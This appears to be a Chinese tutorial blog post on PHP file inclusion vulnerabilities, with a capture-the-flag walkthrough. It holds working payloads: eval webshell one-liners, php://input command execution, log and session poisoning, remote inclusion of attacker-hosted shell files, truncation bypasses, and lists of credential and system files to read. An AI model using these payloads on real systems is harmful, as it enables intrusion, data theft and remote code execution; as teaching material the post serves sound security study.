文件包含漏洞

文件包含漏洞

1.什么是文件包含

​ 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

2. 文件包含漏洞原理

​ 文件包含是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数

(include(),require()和include_once(),requir_once())

利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  • 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。

3.PHP中常见包含文件的函数

  • include( )
    当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
    进来,发生错误时之给出一个警告,继续向下执行。
  • include_once( )
    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require( )
    require()与include()的区别在于require()执行如果发生错误,函数会输出
    错误信息,并终止脚本的运行。
  • require_once( )
    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

​ 几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这与程序开发人员的水平无关,而问题在于语言设计的弊端。

4 文件包含漏洞的分类

  • 本地文件包含漏洞

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

  • 远程文件包含漏洞

本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项均为 on

allow_url_fopen = On    //默认为On
allow_url_include = On  //php5.2后默认为Off

则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

文件包含特征

?page=a.php
?home=b.html
?file=content

c:\boot.ini // 查看系统版本

c:\XX\httpd.conf  Apache配置信息

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd 账户信息

/etc/shadow  账户密码文件

/etc/httpd/conf/httpd.conf  Apache配置文件

/etc/my.conf  mysql 配置文件

/usr/local/app/apache2/conf/httpd.conf  Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf   虚拟网站配置

/usr/local/app/php5/lib/php.ini PHP相关配置

5.php伪协议

1. file://

  • 访问本地文件系统
  • 不受 allow_url_fopen、allow_url_include 影响
  • php 涉及到文件以及协议的地方默认使用 file 协议,如果没有写出协议名或者协议不存在,都会被当成 file 协议来解析
?a=file://C:/Windows/win.ini

2.http://、ftp://

  • 访问 HTTP(s) 网址/访问 FTP(s) URLs
  • allow_url_fopen = On、allow_url_include = On
?a=http://vps.vps.vps.vps/shell.txt
木马文件(shell.txt)内容:<?php @eval($_POST['shell']);?>

3.php://

  • 访问各个输入/输出流(I/O streams)
  • 包括 php://stdin、php://stdout、php://stderr、php://input、php://output、php://filter、php://fd、php://memory、php://temp 九种

3.1 php://input

  • 访问请求的原始数据的只读流,即直接读取POST上没有经过解析的原始数据,enctype=“multipart/form-data” 的时候 php://input 是无效的
  • allow_url_include = On、不受 allow_url_fopen 影响
?a=php://input

命令执行:
POST:
<?php system('ls'); ?>

GetShell:
POST:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['shell'])?>');?>

3.2 php://filter

  • 数据流打开时的筛选过滤应用,读取本地源代码
  • 不受 allow_url_fopen、allow_url_include 影响
?a=php://filter/read=convert.base64-encode/resource=index.php("read="可以省略)
//将php文件通过base64编码读出,若不加read=convert.base64-encode,则会将其中内容当做php代码执行

?file=php://filter/read=convert.base64-encode/resource=flag.php//读取文件源码

GetShell(shell.txt需在目标服务器上):
木马文件(shell.txt)内容:<?php @eval($_POST['x']);?>

4.zip://

  • 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
  • 不受 allow_url_fopen、allow_url_include 影响
?a=zip://D:/phpStudy/WWW/file.zip%23code.txt
格式:
zip://[压缩包绝对路径]#[压缩包内的子文件名]
注:
文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23

5.zlib://、bzip2://

  • 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
  • 不受 allow_url_fopen、allow_url_include 影响
a=compress.zlib://file.zip
注:
文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀

更多伪协议去百度查找。

6.包含Apache日志文件

​ WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

  • 漏洞利用条件
    1.日志的物理存放路径
    2. 存在文件包含漏洞
    3. curl命令行url请求工具 或者 burpsuit代理;

日志默认路径

1. apache+Linux日志默认路径

    /etc/httpd/logs/access_log  

    /var/log/httpd/access_log

2. apache+win2003日志默认路径

  D:\xampp\apache\logs\access.log
  D:\xampp\apache\logs\error.log

3. IIS6.0+win2003默认日志文件

  C:\WINDOWS\system32\Logfiles

4. IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

5. nginx 日志文件

日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里

web中间件默认配置

1. apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd

2 .IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

3. IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

curl 构造一句话,写入日志文件测试记录

 D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

7.包含session

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径
session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

8.包含/pros/self/environ

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。

9.包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考

LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的

10.包含上传文件

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

11.文件包含漏洞的绕过方法

1.指定前缀绕过

目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php

2.编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

3.%00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤

漏洞利用条件:

(1) magic_quotes_gpc=off

(2) PHP<5.3.4

测试结果

Payload: [http://127.0.0.1/test.php?filename=xiaohua.txt%00](http://127.0.0.1/test.php?filename=xiaohua.txt)

4.路径长度截断文件包含

操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断

漏洞利用条件

Windows下目录的最大路径256B

Linux下目录的最大路径长度为4096B

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

5.点号阶段文件包含

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................

6.无限制远程文件包含

无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。

漏洞利用条件:

(1) allow_url_fopen=on

(2) allow_url_include=on

漏洞代码

<?php
     $filename  = $_GET['filename'];
       include($filename);
?>

Payload:

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt

包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。

7.有限制远程文件包含

有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

<?php
     $filename  = $_GET['filename'];
     include($filename.”.html”);
?>
  1. 问号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
  1. #号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)
  1. 空格绕过
[http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20](http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt ( )是空格的url编码)

12.文件包含漏洞实例

攻防世界web进阶区 题目:Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];$page=$_GET['page'];
while (strstr($page, "php://")) {  
 	$page=str_replace("php://", "", $page);
}include($page);
?> 

初始界面为以上代码

在这里插入图片描述

提交没有反应,于是观察代码,发现strstr()函数,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

于是将php改成大写成功绕过。

http://111.200.241.244:59050/?page=php://input

<?php system('ls'); ?>(注意用post方式提交)

在这里插入图片描述找到flag所在文件,用cat命令打开,得到flag.

在这里插入图片描述

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值